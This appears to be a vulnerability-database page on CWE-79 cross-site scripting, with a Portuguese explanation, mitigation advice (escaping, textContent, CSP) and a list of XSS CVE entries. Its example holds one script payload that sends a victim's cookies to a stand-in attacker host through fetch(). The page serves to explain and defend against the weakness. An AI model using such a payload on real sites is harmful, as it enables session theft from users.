Fallos del tipo CWE-79

30.305 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-15149MEDIUMrawchen ecms Add New Product updateProductServlet.java updateProductServlet cross site scriptingEPSS 0.2%CVE-2025-41768MEDIUMBeckhoff: XSS Vulnerability in TwinCAT 3 HMI ServerEPSS 0.2%CVE-2025-4586MEDIUMIRM Newsroom <= 1.2.19 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'irmcalendarview' ShortcodeEPSS 0.2%CVE-2025-4584MEDIUMIRM Newsroom <= 1.2.19 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'irmeventlist' ShortcodeEPSS 0.2%CVE-2026-31873NONEUnhead has a Bypass of URI Scheme Sanitization in makeTagSafe via Case-SensitivityEPSS 0.2%CVE-2025-8290MEDIUMList Subpages <= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via title ParameterEPSS 0.2%CVE-2025-3902MEDIUMBlock Class - Moderately critical - Cross Site Scripting - SA-CONTRIB-2025-043EPSS 0.2%CVE-2026-73038MEDIUMNodeBB < 4.15.0 Stored XSS via ActivityPub emoji tag.icon.url and tag.nameEPSS 0.2%CVE-2025-12227MEDIUMprojectworlds Gate Pass Management System add-pass.php cross site scriptingEPSS 0.2%CVE-2025-70890MEDIUMA stored cross-site scripting (XSS) vulnerability exists in Cyber Cafe Management System v1.0. An authenticated attacker can inject arbitrarEPSS 0.2%CVE-2025-8624MEDIUMNexa Blocks <= 1.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Google Maps WidgetEPSS 0.2%CVE-2026-0557MEDIUMWP Data Access <= 5.5.63 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wpda_app' ShortcodeEPSS 0.2%CVE-2025-13415MEDIUMicret EasyImages SVG Image upload.php cross site scriptingEPSS 0.2%CVE-2026-22491HIGHWordPress My auctions allegro plugin <= 3.6.35 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-1598MEDIUMBdtask Bhojon All-In-One Restaurant Management System User Information profile cross site scriptingEPSS 0.2%CVE-2026-1444MEDIUMiJason-Liu Books_Manager add_book_check.php cross site scriptingEPSS 0.2%CVE-2025-5929MEDIUMThe Countdown <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via clientId ParameterEPSS 0.2%CVE-2024-13581MEDIUMSimple Charts <= 1.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2024-13573MEDIUMZigaform – Form Builder Lite <= 7.4.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-53581MEDIUMWordPress RSS Feed Pro Plugin <= 1.1.8 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%